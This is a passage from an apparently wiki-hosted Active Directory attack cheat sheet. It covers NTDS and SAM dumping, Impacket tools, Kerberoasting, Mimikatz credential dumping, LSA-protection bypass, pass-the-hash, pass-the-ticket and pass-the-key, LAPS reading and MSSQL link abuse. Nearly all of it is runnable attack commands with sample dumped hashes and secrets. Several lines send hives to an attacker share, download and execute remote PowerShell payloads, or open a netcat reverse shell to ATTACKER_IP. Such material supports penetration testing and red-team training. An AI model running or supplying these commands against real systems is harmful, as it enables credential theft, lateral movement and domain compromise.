cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
# Dump the NTDS.dit password history from target DC
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
# Show the pwdLastSet attribute for each NTDS.dit account
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
------------------------------------------------------------------------

# Stealing SAM & SYSTEM
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#stealing-sam-and-system
# This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.
# From registry
# Easiest method
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
# Download to attacker
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

# Backup Operator - If a user is a member of Backup Operator
# Backup Operators can override security restrictions for the sole purpose of backing up or restoring files
https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets
# 1 - First start smb share
impacket-smbserver share . -smb2support
2 - Then run the command
reg.py User:Password@192.168.210.16 backup -o \\10.10.14.14\share 2 ⨯
Impacket v0.11.0 - Copyright 2023 Fortra
[!] Cannot check RemoteRegistry status. Hoping it is started...
[*] Saved HKLM\SAM to \\10.10.14.14\share\SAM.save
[*] Saved HKLM\SYSTEM to \\10.10.14.14\share\SYSTEM.save
[*] Saved HKLM\SECURITY to \\10.10.14.14\share\SECURITY.save
# 3 - After we got the databases we use secretsdump to extract the info
impacket-secretsdump -sam SAM.save -security SECURITY.save -system SYSTEM.save LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0xb1223a009047a376c120c3630a0f0e48
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5bdd6a33efe43f0dc7e3b2435579aa53:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:dc66f30d3e8bd48b4bfb9c3f53eb66ebda1edbb7af476a9f7650476edce03326b61fabe212dfd9e6c2e06eaaffcab3c78cfd4f47cd564ef53e8eb5d855f9e998c34c5fabc5e713559e090d6e5dc149a97ed653608d5cd07864d7774f2d766512849d4fafff4030324173ccd8cb8c6a1513a348a337c6d46778e4e37bc2e2c2e369626f1f153bdf391f8c175fdae042537016a2198b8c120c738854c907a1ddddcb88aaa517af97bcee783d1d9a36ddc179f2bb5cc8a336a00863183c96384434bb9a8eee781822f51d2727cd14e3fd0841edfa7004eefa2a8e3327b457f34587642e1e91e79a24590d97b8ad6cb14ee7
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:d47a6d90e1c5adf4200227514e393948
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf108ba9fcd3554a2abb82ff4a8d29f0679aeaae6
dpapi_userkey:0xe57f2322d588ce987f04d6a3b1bf31cfa35d050a
[*] NL$KM
0000 07 E9 F2 3F 08 49 46 07 02 CE 30 4B 65 D3 86 32 ...?.IF...0Ke..2
0010 6F 02 5D 36 7D E8 30 33 F4 71 94 44 98 37 CB 1A o.]6}.03.q.D.7..
0020 05 CC 76 F1 26 E2 94 E7 D3 54 78 1F EF BE E9 13 ..v.&....Tx.....
0030 30 3B 62 CB A5 57 75 E6 78 F3 D4 55 5C 68 20 15 0;b..Wu.x..U\h .
NL$KM:07e9f23f0849460702ce304b65d386326f025d367de83033f47194449837cb1a05cc76f126e294e7d354781fefbee913303b62cba55775e678f3d4555c682015
[*] Cleaning up...

# Extract NTDS using Secretsdump and machine account hash
secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 192.168.210.16 -hashes :d47a6d90e1c5adf4200227514e393909 'TESTDC01$'@192.168.210.16

# Invoke-NinjaCopy
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
# Use PS script to make copy of SAM, SYSTEM and ntds.dit
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
</syntaxhighlight>

== Impackets - All Commands Matrix ==

{| class="wikitable"
|-
! Tool
! Commands
! Explanation
|-
| Remote Execution
|
| Tools for executing commands remotely.
|-
| psexec.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Provides PSEXEC-like functionality using RemComSvc.
|-
| smbexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Executes commands on the target machine without using RemComSvc.
|-
| atexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -command command
| Executes a command on the target machine through the Task Scheduler service and returns the output.
|-
| wmiexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Provides a semi-interactive shell using Windows Management Instrumentation (WMI).
|-
| dcomexec.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]
| Provides a semi-interactive shell using different DCOM endpoints.
|-
| Kerberos
|
| Tools for working with Kerberos authentication.
|-
| GetTGT.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Requests a TGT and saves it as ccache.
|-
| GetST.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] [-impersonate]
| Requests a Service Ticket and saves it as ccache. Supports impersonation.
|-
| GetPac.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Retrieves the PAC (Privilege Attribute Certificate) structure of the specified target user.
|-
| GetUserSPNs.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Finds and fetches Service Principal Names associated with normal user accounts.
|-
| GetNPUsers.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Lists and gets TGTs for users with 'Do not require Kerberos preauthentication' set.
|-
| rbcd.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Handles the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer.
|-
| ticketConverter.py
| -kirbi kirbiFile -ccache ccacheFile
| Converts kirbi files used by mimikatz into ccache files used by Impacket, and vice versa.
|-
| ticketer.py
| -template templateFile -ccache ccacheFile
| Creates Golden/Silver tickets from scratch or based on a template allowing customization of parameters.
|-
| raiseChild.py
| -user user -password pass -domain domain -dc-ip ip
| Implements child-domain to forest privilege escalation using Golden Tickets and ExtraSids.
|-
| Windows Secrets
|
| Tools for extracting secrets and credentials from Windows systems.
|-
| secretsdump.py
| -ntds ntdsFile -system systemFile -outputfile outputFile -use-vss [-lmhash LMHASH] [-nthash NTHASH]
| Performs various techniques to dump secrets, NTLM hashes, plaintext credentials, and Kerberos keys from a remote machine.
|-
| mimikatz.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Provides a mini shell to control a remote mimikatz RPC server.
|-
| Server Tools/MiTM Attacks
|
| Tools for performing MiTM (Man-in-the-Middle) attacks.
|-
| ntlmrelayx.py
| -t targetFile -tf targetFile -smb2support [-socks]
| Performs NTLM Relay Attacks, relaying credentials to various protocols. Supports predefined attacks and SOCKS mode.
|-
| karmaSMB.py
| -file fileContents -smb2support
| A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.
|-
| smbserver.py
| -share shareName -smb2support -username user -password pass
| A Python implementation of an SMB server. Allows setting up shares and user accounts.
|-
| WMI
|
| Tools for working with Windows Management Instrumentation (WMI).
|-
| wmiquery.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -query query
| Issues WQL queries and gets descriptions of WMI objects at the target system.
|-
| wmipersist.py
| -target-ip ip -username user -password pass -query query [-interval interval]
| Creates/removes a WMI Event Consumer/Filter and executes Visual Basic based on the WQL filter or timer specified.
|-
| Known Vulnerabilities
|
| Tools for exploiting known vulnerabilities.
|-
| goldenPac.py
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]
| Exploits MS14-068, saves the golden ticket, and launches a PSEXEC session at the target.
|-
| sambaPipe.py
| -target-ip ip -user user -password pass -so soFile
| Exploits CVE-2017-7494, uploads and executes a shared library specified by the user.
|-
| smbrelayx.py
| -target-ip ip -user user -password pass -command command
| Exploits CVE-2015-0005 using an SMB Relay Attack. Tries to gather the SMB session key through NETLOGON.
|-
| SMB/MSRPC
|
| Tools for working with SMB and MSRPC.
|-
| smbclient.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -list
| A generic SMB client for listing shares and files, renaming, uploading, downloading files, and creating/deleting directories.
|-
| addcomputer.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -computer computerName -domain domainName
| Adds a computer to a domain using LDAP or SAMR (SMB).
|-
| getArch.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Connects to a target machine and gathers the OS architecture type using MSRPC.
|-
| exchanger.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Connects to MS Exchange via RPC over HTTP v2.
|-
| lookupsid.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| A Windows SID brute forcer aiming to find remote users/groups using MSRPC Interface.
|-
| netview.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Gets a list of sessions opened at remote hosts and keeps track of them.
|-
| reg.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -command command
| A remote registry manipulation tool through the MSRPC Interface.
|-
| rpcdump.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Dumps the list of RPC endpoints and string bindings registered at the target.
|-
| rpcmap.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Scans for listening DCE/RPC interfaces and gets a list of interface UUIDs.
|-
| samrdump.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Communicates with the Security Account Manager Remote interface to list system user accounts, available resource shares, and other sensitive information.
|-
| services.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -action action
| Manipulates Windows services through the MSRPC Interface, supporting start, stop, delete, status, config, list, create, and change operations.
|-
| smbpasswd.py
| -target target -username user -password pass -newpassword newpass
| An alternative to smbpasswd for changing expired passwords remotely over SMB (MSRPC-SAMR).
|-
| MSSQL / TDS
|
| Tools for working with MSSQL and TDS.
|-
| mssqlinstance.py
| -target target -username user -password pass [-hashes LMHASH:NTHASH]
| Retrieves MSSQL instance names from the target host.
|-
| mssqlclient.py
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -database database [-query query]
| An MSSQL client supporting SQL and Windows Authentications, including TLS.
|-
| File Formats
|
| Tools for working with various file formats.
|-
| esentutl.py
| -file file -action action
| An Extensible Storage Engine format implementation for dumping catalog, pages, and tables of ESE databases (e.g., NTDS.dit).
|-
| ntfs-read.py
| -target target -path path [-recursive] -output outputDir
| An NTFS format implementation providing a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.
|-
| registry-read.py
| -file hiveFile -key registryKey -recursive
| A Windows Registry file format implementation for parsing offline registry hives.
|-
| Other
|
| Miscellaneous tools.
|-
| findDelegation.py
| -dc-ip ip -user user -password pass
| Lists all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.
|-
| GetADUsers.py
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] -outputfile outputFile
| Gathers data about the domain's users and their corresponding email addresses, including last logon and last password set attributes.
|-
| Get-GPPPassword.py
| -gpp gppFile -output outputDir
| Extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Can parse GPP XML files offline.
|-
| mqtt_check.py
| -target target -port port -users usersFile -passwords passwordsFile
| A simple MQTT example for testing different login options and can be adapted for brute force attacks.
|-
| rdp_check.py
| -target target -port port -users usersFile -passwords passwordsFile
| A partial implementation of [MS-RDPBCGR] and [MS-CREDSSP] to test whether an account is valid on the target host.
|-
| sniff.py
| -interface interface -count count
| A simple packet sniffer using the pcapy library to listen for packets in transit over the specified interface.
|-
| sniffer.py
| -interface interface -count count [-protocols protocols]
| A simple packet sniffer using a raw socket to listen for packets in transit corresponding to the specified protocols.
|-
| ping.py
| -target target -count count
| A simple ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.
|-
| ping6.py
| -target target -count count
| A simple IPv6 ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.
|}

== Kerberoast ==

All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.

<syntaxhighlight lang="bash">
## PowerView:
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast
#Requesting the TGS for a single account:
Request-SPNTicket
#Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'

## AD Module:
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

## Impacket:
python GetUserSPNs.py /: -outputfile

## Rubeus:
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile: /domain:
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#Kerberoast by specifying the authentication credentials
Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
</syntaxhighlight>

== Mimikatz ALL COMMANDS ==

Source: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#mimikatz

<syntaxhighlight lang="bash">
#The commands are in cobalt strike format!
#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys
mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys
#Dump SAM Database
mimikatz lsadump::sam
#Dump SECRETS Database
mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain: /all
#List and Dump local kerberos credentials
mimikatz kerberos::list /dump
#Pass The Ticket
mimikatz kerberos::ptt
#List TS/RDP sessions
mimikatz ts::sessions
#List Vault credentials
mimikatz vault::list

</syntaxhighlight>

=== LSA Protection ===

What if mimikatz fails to dump credentials because of LSA Protection controls ?

* LSA as a Protected Process (Kernel Land Bypass)

<syntaxhighlight lang="bash">
#Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+
#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
</syntaxhighlight>

* LSA as a Protected Process (Userland "Fileless" Bypass)
[https://github.com/itm4n/PPLdump PPLdump]

* [https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland Bypassing LSA Protection in Userland]

* LSA is running as virtualized process (LSAISO) by Credential Guard

<syntaxhighlight lang="bash">
#Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso
#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.
#Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides
mimikatz # misc::memssp
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
</syntaxhighlight>

* [https://adsecurity.org/?page_id=1821 Detailed Mimikatz Guide]

* [https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a Poking Around With 2 lsass Protection Options]

== Pass the Hash ==

[https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash]

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

Once you have the hash of the victim, you can use it to impersonate it.

<syntaxhighlight lang="bash">
# Mimikatz
# This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the runas /netonly trick but you don't need to know the plain-text password).
# 1
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
# 2
privilege::debug
sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38
------------------------------------------------------------------
# Pass-the-hash from linux
# Connect via psexec using PTH
psexec.py -hashed LM:NT user@ip
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
# Connect to RDP using PTH
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
# Pass the hash with evil-winrm
evil-winrm -u -H -i
# SMBclient
python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
# Crackmapexec
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig
# rpcdump
python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105
# MSSQL
impacket-mssqlclient administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth
/opt/MSSqlPwner/MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive

---------------------------------------------------------------
# PTH toolkit builtin in Kali linux
# smbclinet
pth-smbclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$
# wmic
pth-wmic -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 "select Name from Win32_UserAccount"

# rpcclient
pth-rpcclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105
# net
pth-net rpc share list -U 'ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38' -S 192.168.1.105
# curl
pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt
------------------------------------------------------------------
# Impacket Windows compiled tools
psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
atexec.exe (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
# Powershell wmiexec
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1
Invoke-WMIExec -Target 192.168.1.105 -Domain test.local -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command "cmd /c mkdir c:\hacked" -Verbose
------------------------------------------------------------------
# Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash
# Invoke-SMBExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
# Invoke-WMIExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
# Invoke-SMBClient
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
# Invoke-SMBEnum
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74

------------------------------------------------------------------
# Powershell Empire
usemodule lateral_movement/invoke_smbexec
set ComputerName WIN-S0V7KMTVLD2.ignite.local
set Username Administrator
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
set Listener http
execute

-----------------------------------------------------------------
# Metasploit
use exploit/windows/smb/psexec
set rhosts 192.168.1.105
set smbuser administrator
set smbdomain test.local
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
exploit
</syntaxhighlight>

== Over Pass the Hash/Pass the key (PTK) ==

This attack aims to '''use the user NTLM hash to request Kerberos tickets''', as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially '''useful in networks where NTLM protocol is disabled''' and only '''Kerberos is allowed''' as authentication protocol.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key]

<syntaxhighlight lang="bash">
# We need the NTLM hash or password of the target user account in order to perform this attack. When hash is obtained we can request a TGT. We can access any service or machine where the user account has permission.
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
-aesKey [AES Key] to specify to use AES256
</syntaxhighlight>

== Pass the Ticket ==

Similar to PTK, but instead we steal the ticket and use it to authenticate as its owner.

<syntaxhighlight lang="bash">
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

# Swapping Linux and Windows tickets between platforms
https://github.com/Zer1t0/ticket_converter (Ticket converter script)
# Only param needed is current ticket and output file.
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
# To convert in windows, use Kekeo https://github.com/gentilkiwi/kekeo
-----------------------------------------------------------------------
# Pass the ticket attack
# Linux
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
# Windows
# Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

-----------------------------------------------------------------------
# We can obtain the Kerberos encryption keys from memory by using mimikatz with the following commands:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
# Depending on the available keys, we can run the following commands on mimikatz to get a reverse shell via Pass-the-Key:
# If we have the RC4 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# If we have the AES128 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# If we have the AES256 hash:
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

</syntaxhighlight>

== LAPS ==

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps]

<syntaxhighlight lang="bash">
https://github.com/leoloobeek/LAPSToolkit
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
</syntaxhighlight>

== MSSQL Trusted Links ==

If a user has privileges to '''access MSSQL instances''', he could be able to use it to '''execute commands''' in the MSSQL host (if running as SA).

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links]

<syntaxhighlight lang="bash">
# Powershell
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.psd1
Import-Module .\PowerupSQL.psd1
#Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
# FROM INSIDE OF THE DOMAIN
#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT ""'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
</syntaxhighlight>

== Delegations ==

=== Unconstrained Delegation ===

This a feature that a Domain Administrator can set to any '''Computer''' inside the domain. Then, anytime a '''user logins''' onto the Computer, a '''copy of the TGT''' of that user is going to be '''sent inside the TGS''' provided by the DC '''and saved in memory in LSASS'''. So, if you have Administrator privileges on the machine, you will be able to '''dump the tickets and impersonate the users''' on any machine.

So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).

'''What is DCSync attack?'''

A DCSync attack '''uses commands in Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to pretend to be a domain controller (DC) in order to get user credentials from another DC'''

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation]

<syntaxhighlight lang="bash">
# You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
# Export tickets with Mimikatz
privilege::debug
